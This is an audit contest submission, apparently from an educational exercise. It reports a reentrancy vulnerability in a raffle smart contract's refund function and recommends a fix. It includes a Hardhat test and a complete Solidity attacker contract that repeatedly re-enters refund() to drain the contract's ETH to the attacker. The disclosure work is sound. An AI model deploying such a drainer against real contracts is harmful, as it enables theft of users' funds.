Submission Details
Severity:
Effects should be before interactions - reentrancy vulnerability
Summary
The function is vulnerable to the reentrancy attack. All the assets will be stolen.
Vulnerability Details
there is a pattern that every developer should follow - checks => effects => interactions. Otherwise the code might become vulnerable
Impact
Anyone by using a malicious smart contract can attack the function and steal all the assets.
Here's the proof test:
import { expect } from 'chai';
import { ethers } from 'hardhat';
import { PuppyRaffle } from '../typechain-types';
const { provider, deployContract, getSigners, Wallet, parseEther, formatEther } = ethers;
let puppyRaffle: PuppyRaffle;
let initialPuppyRaffleBalance: number, initialAttackerBalance: number;
describe('puppyRaffle', function () {
it('We steal all the assets', async () => {
const [deployer, attacker] = await getSigners();
puppyRaffle = await deployContract('PuppyRaffle', [parseEther('1'), deployer.address, 1000 * 60 * 60 * 24]);
// 20 players enter the ruffle
for (let i = 0; i < 20; i++) {
const aUser = Wallet.createRandom().connect(provider);
await provider.send('hardhat_setBalance', [
aUser.address,
'0xF43FC2C04EE0000', // 1.1 ETH
]);
await puppyRaffle.connect(aUser).enterRaffle([aUser.address], { value: parseEther('1') });
}
initialPuppyRaffleBalance = +formatEther(await provider.getBalance(puppyRaffle.target));
initialAttackerBalance = +formatEther(await provider.getBalance(attacker.address));
const attackerContract = await deployContract('PuppyRaffleAttacker', [puppyRaffle.target], attacker);
await attacker.sendTransaction({
to: attackerContract.target,
value: parseEther('1'),
});
await attackerContract.attack();
// we have all the assets
expect(+formatEther(await provider.getBalance(attacker.address))).is.gt(initialAttackerBalance + 20 - 0.1);
// puppyRaffle has none, bye-bye puppies lol
expect(await provider.getBalance(puppyRaffle.target)).equals(0);
});
});
And the attacker contract code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "hardhat/console.sol";
interface IPuppyRaffle {
function refund(uint256 playerIndex) external;
function enterRaffle(address[] memory newPlayers) external payable;
function getActivePlayerIndex(address player) external view returns (uint256);
}
contract PuppyRaffleAttacker is Ownable {
IPuppyRaffle puppyRaffle;
constructor(address _puppyRaffle) {
puppyRaffle = IPuppyRaffle(_puppyRaffle);
}
function attack() external onlyOwner {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{ value: 1 ether }(players);
puppyRaffle.refund(20);
(bool sent, ) = owner().call{ value: address(this).balance }("");
require(sent, "Failed to send ETH to the owner");
}
receive() external payable {
if (msg.sender == address(puppyRaffle)) {
while (address(puppyRaffle).balance >= 1 ether) {
puppyRaffle.refund(20);
}
}
}
}
Tools Used
hardhat
Recommendations
These 2 lines need to change places
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
Updates
Lead Judging Commences
hexbyte about 2 years ago
Submission Judgement Published Assigned finding tags:
reentrancy-in-refund
reentrancy in refund() function
Rewards breakdown
nSLOC
143This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.